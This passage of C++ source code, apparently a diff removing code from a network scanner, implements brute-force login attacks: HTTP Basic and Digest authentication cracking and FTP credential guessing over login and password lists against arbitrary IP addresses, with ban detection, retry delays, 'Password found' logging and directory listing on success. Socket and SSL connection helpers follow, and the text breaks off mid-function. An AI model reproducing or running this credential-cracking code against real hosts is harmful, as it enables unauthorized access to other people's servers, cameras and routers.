stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); - }; - - if(goon == false) - { - strcpy(lps.login, "NULL"); - strcpy(lps.pass, "NULL"); - isActive = 0; - return lps; - }; - }; - - - isActive = 1; - char tPass[256] = {0}; - char curLogin[256] = {0}; - char curPass[256] = {0}; - int cCode; - int cErrCode; - int dataSz = 0; - char request[REQUEST_MAX_SIZE] = {0}; - char recvBuff[4096] = {0}; - char recvBuff2[512] = {0}; - char pass[256] = {0}; - int WSAErr; - - char localBuff[4096] = {0}; - strcpy(localBuff, headerMsg); - int passCounter = 1; - char attribute[2048] = {0}; - char nonce[512] = {0}; - char realm[512] = {0}; - char opaque[512] = {0}; - char qop[64] = {0}; - std::string encoded = ""; - - for(int i = 0; i < MaxLogin; i++) - { - if(globalScanFlag == false) break; - for(int j = 0; j < MaxPass; j++) - { - if(globalScanFlag == false) break; - - ZeroMemory(request, REQUEST_MAX_SIZE); - ZeroMemory(curLogin, sizeof(curLogin)); - ZeroMemory(curPass, sizeof(curPass)); - strcpy(curLogin, loginLst[i]); - strcpy(curPass, passLst[j]); - - if(strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) - { - ZeroMemory(attribute, sizeof(attribute)); - strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); - ZeroMemory(nonce, sizeof(nonce)); - strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); - ZeroMemory(realm, sizeof(realm)); - strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); - ZeroMemory(qop, sizeof(qop)); - if(strstri(attribute, "qop") != NULL) - { - strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port)); - }; - - strcpy(request, "GET "); - strcat(request, path); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); - strcat(request, curLogin); - strcat(request, "\", realm=\""); - strcat(request, realm); - strcat(request, "\", nonce=\""); - strcat(request, nonce); - strcat(request, "\", uri=\""); - strcat(request, path); - strcat(request, "\", qop=auth, response=\""); - strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop)); - if(strstri(attribute, "opaque") != NULL) - { - ZeroMemory(opaque, sizeof(opaque)); - strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port)); - strcat(request, "\", opaque=\""); - strcat(request, opaque); - }; - strcat(request, "\", nc=10000001, cnonce=\"9d531d56796e0dc9\""); - strcat(request, "\r\nConnection: close\r\n\r\n"); - } - else - { - ZeroMemory(tPass, sizeof(tPass)); - strncpy(tPass, curLogin, strlen(curLogin)); - strcat(tPass, ":"); - strncat(tPass, curPass, strlen(curPass)); - encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); - strcpy(request, "GET "); - strcat(request, path); - strcat(request, " HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - if(cookieLen != 0) - { - strcat(request, "\r\nCookie: "); - strcat(request, cookie); - }; - - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); - strcat(request, encoded.c_str()); - strcat(request, "\r\nConnection: close\r\n\r\n"); - }; - - if(port == 443) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";"); - _baSSLWorker(ip, request, recvBuff); - dataSz = strlen(recvBuff); - } - - else - { - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - - if(cCode == SOCKET_ERROR) { - - int errorCode = WSAGetLastError(); - if(errorCode == 10038) { - - while(errorCode == 10038) - { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]"); - CSSOCKET(sock); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - errorCode = WSAGetLastError(); - }; - } else { - - CSSOCKET(sock); - - if(errorCode != 10060) - { - stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); - }; - - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - } else { - - int x = 1; - Activity += strlen(request); - - if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - dataSz = 0; - ZeroMemory(recvBuff2, sizeof(recvBuff2)); - ZeroMemory(recvBuff, sizeof(recvBuff)); - while (x > 0 && dataSz < 3384) - { - ZeroMemory(recvBuff2, sizeof(recvBuff2)); - x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); - - dataSz += x; - Activity += x; - strncat(recvBuff, recvBuff2, x); - }; - if(BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - } - else - { - stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); - - CSSOCKET(sock); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - }; - CSSOCKET(sock); - }; - - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - - if(dataSz == 0) - { - stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; Repeating..."); - --j; - continue; - } - else - { - ++passCounter; - }; - - if(strcmp(method, "[DIGEST]") == 0) - { - ZeroMemory(localBuff, sizeof(localBuff)); - strcpy(localBuff, recvBuff); - }; - - if(strstri(recvBuff, "http/1.1 401") == NULL - || strstri(recvBuff, "http/1.0 401") == NULL - ) - { - ///dummy/// - } - else if(strstri(recvBuff, "503 service unavailable") != NULL - || strstri(recvBuff, "http/1.1 503") != NULL - || strstri(recvBuff, "http/1.0 503") != NULL - || strstr(recvBuff, "400 BAD_REQUEST") != NULL - || strstri(recvBuff, "400 bad request") != NULL - || strstr(recvBuff, "403 Forbidden") != NULL - ) - { - stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); - - if(j > 0) --j; - Sleep(30000); - } - else if((strstri(recvBuff, "http/1.1 404") != NULL - || strstri(recvBuff, "http/1.0 404") != NULL - ) - && strstri(recvBuff, "Authorization required") == NULL - ) - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); - - stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); - - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - else if( (strstri(recvBuff, "200 ok") != NULL - || strstri(recvBuff, "http/1.0 200") != NULL - ) - && strstri(recvBuff, "http/1.1 401 ") == NULL - && strstri(recvBuff, "http/1.0 401 ") == NULL - && strstr(headerMsg, "401") == NULL - && strstr(headerMsg, "Unauthorized") == NULL - && dataSz > 13 - ) - { - if(strstri(recvBuff, "access is denied") == NULL - && strstri(recvBuff, "iisstart") == NULL - && strstri(recvBuff, "Location:") == NULL - && strstri(recvBuff, "access forbidden") == NULL - ) - { - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Password found: "); - strcat(pass, tPass); - isActive = 0; - stt->doEmition_BAGreenData("[+] " + QString(pass)); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; - }; - } - else - { - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Password found: "); - strcat(pass, tPass); - isActive = 0; - char *pt1 = strstr(recvBuff, " "); - if(pt1 != NULL) - { - char *pt2 = strstr(pt1 + 1, " "); - if(pt2 != NULL) - { - int sz = pt2 - pt1 - 1; - char tempHeaderCode[16] = {0}; - strncpy(tempHeaderCode, pt1 + 1, sz); - - if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: " + QString(ip) + ":" + QString::number(port) + ""); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; - }; - }; - stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: " + QString(ip) + ":" + QString::number(port) + ""); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; - }; - if(strstr(recvBuff, "Set-Cookie:") != NULL) - { - ZeroMemory(cookie, COOKIE_MAX_SIZE); - strncpy(cookie, _getAttribute(recvBuff, "Set-Cookie:"), COOKIE_MAX_SIZE); - cookieLen = strlen(cookie); - }; - }; - }; - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; -} -lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - - BConInc(); - lopaStr res = _BABrute(cookie, ip, port, path, method); - BConDec(); - - return res; -}; - -lopaStr _FTPBrute(char *ip, int port, PathStr *ps) -{ - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - char recvBuff[1024] = {0}, request[64] = {0}; - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#endif - - bool breakPassLoop = 0; - int passCounter = 1; - int bTO; - int x = 0; - int connectionResult, closedSocket = 1, loginFailedFlag = 0; - - SOCKET sockFTP; - for(int i = 0; i < MaxLogin; ++i) - { - if(globalScanFlag == false) break; - if(strlen(loginLst[i]) <= 1) continue; - - for(int j = 0; j < MaxPass; ++j) - { - if(globalScanFlag == false) break; - if(strlen(passLst[j]) <= 1) continue; - - if(closedSocket) - { - closedSocket = 0; - sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - - while(WSAGetLastError() == 10038) - { - if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]"); - CSSOCKET(sockFTP); - sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - }; - loginFailedFlag = 0; - }; - - isActive = 1; - - if(connectionResult != SOCKET_ERROR) - { - x = 0; - while (true) - { - Sleep(100); - ZeroMemory(recvBuff, 1024); - x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); - if(x <= 0) break; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - - Activity += x; - closedSocket = 0; - if(strstr(recvBuff, "451 The parameter is incorrect") != NULL) - { - CSSOCKET(sockFTP); - isActive = 0; - stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); - strcpy(lps.other, "Unknown protocol (451 Error)"); - return lps; - }; - - if(strstri(recvBuff, "only anonymous") != NULL) - { - CSSOCKET(sockFTP); - isActive = 0; - stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); - - strcpy(lps.login, "anonymous"); - strcpy(lps.pass, "1"); - return lps; - }; - - if(strstr(recvBuff, "550 no connections allowed") != NULL - || strstr(recvBuff, "550-") != NULL - ) - { - CSSOCKET(sockFTP); - - isActive = 0; - - - stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); - - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - if(strstr(recvBuff, "no such command")) - { - CSSOCKET(sockFTP); - - isActive = 0; - stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); - strcpy(lps.other, "[500 Sorry, no such command]"); - return lps; - }; - - if((strstr(recvBuff, "500 ") != NULL - || strstr(recvBuff, "500-") != NULL - ) - && strstri(recvBuff, "500 oops") == NULL - ) - { - j = 0; - break; - }; - - if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) - { - break; - }; - - if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) - { - ++i; - break; - }; - - if(globalScanFlag == false) break; - - if((strstr(recvBuff, "530 Sorry") != NULL) - || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) - || strstr(recvBuff, "exceeded") != NULL - || strstr(recvBuff, "421 Too many") != NULL - || strstr(recvBuff, "from this IP") != NULL - || strstr(recvBuff, "from your IP") != NULL) - { - stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); - if(j > 0) --j; - ZeroMemory(recvBuff, sizeof(recvBuff)); - Sleep(30000); - break; - } - else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) - { - strcpy(request, "USER "); - if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); - else - { - loginFailedFlag = 1; - break; - }; - strcat(request, "\r\n"); - if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - Activity += strlen(request); - - ZeroMemory(request, sizeof(request)); - } - else - { - stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - }; - } - else if(strstr(recvBuff, "530") != NULL - || strstr(recvBuff, "Login incorrect") != NULL - || strstri(recvBuff, "500 oops") != NULL - ) - { - loginFailedFlag = 1; - break; - } - else if(strstr(recvBuff, "331") != NULL) - { - if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL - || strstr(recvBuff, "Rejected--secure connection required") != NULL - ) - { - stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); - CSSOCKET(sockFTP); - - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - } - else if(strstri(recvBuff, "permission denied") == NULL) - { - strcpy(request, "PASS "); - if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); - else - { - loginFailedFlag = 1; - break; - }; - strcat(request, "\r\n"); - if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - - Activity += strlen(request); - ZeroMemory(request, sizeof(request)); - - if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - } - else - { - stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - }; - } - else - { - breakPassLoop = 1; - stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); - break; - }; - } - else if(strstr(recvBuff, "230") != NULL) - { - char pass[128] = {0}; - - strcpy(pass, ip); - strcat(pass, " - FTP Password found: "); - strcat(pass, loginLst[i]); - strcat(pass, ":"); - strcat(pass, passLst[j]); - - char recvBuff2[2048] = {0}; - if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) - { - int x = 1, xx = 0; - while(x != 0) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = recvWT(sockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); - xx += x; - if(xx < 1536) strncat(recvBuff2, recvBuff, x); - else break; - }; - - if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) - { - stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); - CSSOCKET(sockFTP); - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - strcpy(lps.other, "ROUTER"); - isActive = 0; - return lps; - }; - -#pragma region Get pasv Port - char *ptr0 = strstr(recvBuff2, "227 "); - - if( ptr0 != NULL ) - { - if(strstr(ptr0, "(") != NULL) - { - char pasvData[32] = {0}; - char *ptr1 = strstr(ptr0, "("); - char *ptr2 = strstr(ptr0, ")"); - int sz = ptr2 - ptr1 - 1; - strncpy(pasvData, ptr1 + 1, sz); - char *ptr3 = strstr(pasvData, ","); - ptr3 = strstr(ptr3 + 1, ","); - ptr3 = strstr(ptr3 + 1, ","); - ptr3 = strstr(ptr3 + 1, ","); - - if(ptr3 != NULL) - { - char *ptrP2 = strstr(ptr3 + 1, ","); - char p1c[8] = {0}; - sz = ptrP2 - ptr3 - 1; - strncpy(p1c, ptr3 + 1, sz); - int p1 = atoi(p1c); - int p2 = atoi(ptrP2 + 1); - port = p1 * 256 + p2; - - sockAddr.sin_port = htons(port); - SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - - send(sockFTP, "LIST\r\n", 6, 0); - ZeroMemory(recvBuff, sizeof(recvBuff)); - int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); - if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) - { - send(sockFTP, "MLSD\r\n", 6, 0); - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); - if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) - { - stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); - - CSSOCKET(sockFTP); - CSSOCKET(newSockFTP); - closedSocket = 1; - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - else { - stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); - ps->directoryCount = _countFTPDirectories(recvBuff); - }; - } - else - { - stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); - ps->directoryCount = _countFTPDirectories(recvBuff); - }; - - CSSOCKET(newSockFTP); - } - else - { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); - }; - } - else - { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); - }; - } - else - { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); - }; - - - if(xx > 1) - { - strcpy(ps->headr, "
 (");
-								strncat(ps->headr, recvBuff, 256);
-								strcat(ps->headr, ")
"); - }; - - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - - CSSOCKET(sockFTP); - isActive = 0; - return lps; - } - else - { - stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - - CSSOCKET(sockFTP); - isActive = 0; - return lps; - }; - }; - }; - - CSSOCKET(sockFTP); - closedSocket = 1; - ZeroMemory(recvBuff, sizeof(recvBuff)); - } - else - { - char err[128] = {0}; - - int WSAerr; - if(connectionResult == -1) WSAerr = WSAGetLastError(); - else WSAerr = 10060; - - if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) - { - stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); - }; - CSSOCKET(sockFTP); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - Sleep(100); - - if(breakPassLoop) - { - breakPassLoop = false; - break; - }; - }; - }; - - CSSOCKET(sockFTP); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; -}; -lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - BConInc(); - lps = _FTPBrute(ip, port, ps); - BConDec(); - - return lps; -}; - -int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) -{ - SSL *ssl = NULL; - int bytes = 0; - char *recvBuff2 = 0; - int resCode = 0; - - const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ - SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - if(ctx != NULL) - { - SOCKET sock; - SSL_CTX_set_timeout(ctx, gTimeOut); - resCode = OpenConnection(&sock, iph, porth); - if(resCode >= 0) - { - ssl = SSL_new(ctx); /* create new SSL connection state */ - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - - if(SSL_connect(ssl)) - { - SSL_write(ssl, requesth, strlen(requesth)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth)); - - int x = 256; - char recvBuff[8192] = {0}; - recvBuff2 = new char[RECV_MAX_SIZE]; - ZeroMemory(recvBuff2, RECV_MAX_SIZE); - - while (x > 0) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = SSL_read(ssl, recvBuff, sizeof(recvBuff)); - if(x <= 0) break; - - bytes += x; - Activity += x; - - if( bytes > RECV_MAX_SIZE ) - { - if(strstri(recvBuff2, "http/1.") == NULL) - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - - ++Overl; - - CSTR->lowerBuff = new char[11]; - strcpy(CSTR->lowerBuff, "[OVERFLOW]"); - CSTR->size = 10; - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - return 0; - } - else break; - }; - if(globalScanFlag == true) - { - if(x > 0) - { - memset((void*)(recvBuff + x), '\0', 1); - strcat(recvBuff2, recvBuff); - } - else - { - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2); - - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - CSTR->lowerBuff = new char[12]; - strcpy(CSTR->lowerBuff, "[IGNR_ADDR]"); - - CSTR->size = 11; - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - return 0; - }; - }; - }; - - if(bytes < 0) - { - stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth)); - }; - - SSL_free(ssl); - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - - if(bytes == 0 || recvBuff2 == NULL) - { - if(recvBuff2 != NULL) delete []recvBuff2; - recvBuff2 = NULL; - CSTR->lowerBuff = new char[1]; - strcpy(CSTR->lowerBuff, ""); - CSTR->size = 0; - return -1; - }; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2)); - std::string res2 = ""; - if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2); - CSTR->lowerBuff = new char[bytes + 1]; - ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); - - strncpy(CSTR->lowerBuff, recvBuff2, bytes); - - delete[] recvBuff2; - recvBuff2 = NULL; - CSTR->size = bytes; - if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); - return 0; - } - else - { - delete[] recvBuff2; - recvBuff2 = NULL; - CSSOCKET(sock); - SSL_free(ssl); - SSL_CTX_free(ctx); /* release context */ - CSTR->lowerBuff = new char[1]; - strcpy(CSTR->lowerBuff, ""); - CSTR->size = 0; - return 0; - }; - }; - } - else - { - char buff1[512] = {0}; - char buff2[512] = {0}; - - ERR_error_string(ERR_peek_error(), buff1); - ERR_error_string(ERR_peek_last_error(), buff2); - stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); - return -1; - } -}; -int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) -{ - return _sslConnectTo(iph, porth, requesth, CSTR); -}; -void __deleteExcessiveNullBytes(char *buff, int sz) -{ - int j = 0; - for(int i = 0; i < sz - 1; ++i) - { - if(buff[i] != 0) buff[j++] = buff[i]; - }; -}; -struct linger linger = { 0 }; -int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force) -{ - CSTR->lowerBuff = NULL; - if(strlen(ip) == 0) - { - return -1; - }; - if(port < 0 || port > 65535) - { - return -1; - }; - - char *recvBuff2 = NULL; - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - - HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); -#endif - else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - ++offlines; - if(host == NULL) return -2; - else return -1; - }; - - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - while(sock == INVALID_SOCKET) - { - stt->doEmitionRedFoundData("[Cannot create socket]"); - - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - }; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - u_long FAR cmd = 1; - if( ioctlsocket( sock , FIONBIO, &cmd ) != 0 ) -#else - if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 ) -#endif - { - stt->doEmitionRedFoundData("[FIONBIO failed]"); - }; - - int recvBuffSize = 0; - linger.l_onoff = 1; - linger.l_linger = 5; - setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); - - int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - while(sock == INVALID_SOCKET) - { - if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError())); - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); - iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - }; - - if(iResult == SOCKET_ERROR) - { - iError = WSAGetLastError(); - - if(iError == 10035) - { - fd_set read_fs; - FD_ZERO(&read_fs); - FD_SET(sock, &read_fs); - timeval tv = { gTimeOut, 0 }; - - int oldErr = WSAGetLastError(); - iResult = select(sock + 1, NULL, &read_fs, NULL, &tv); - - if (iResult == SOCKET_ERROR) - { - ++offlines; - - stt->doEmitionRedFoundData("[Omitting IP] Select error-" + - QString::number(WSAGetLastError()) + " oldErr:" + QString::number(oldErr) + - " sock:" + QString::number(sock) + " -" + QString(ip) + ":" + QString::number(port)); - } - else - { - if (!iResult) ++offlines; - else - { - int sResult = send(sock, request, strlen(request), 0); - - while(sResult == SOCKET_ERROR) - { - CSSOCKET(sock); - Sleep(100); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(sResult == SOCKET_ERROR) continue; - sResult = send(sock, request, strlen(request), 0); - }; - - if(sResult != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - Activity += 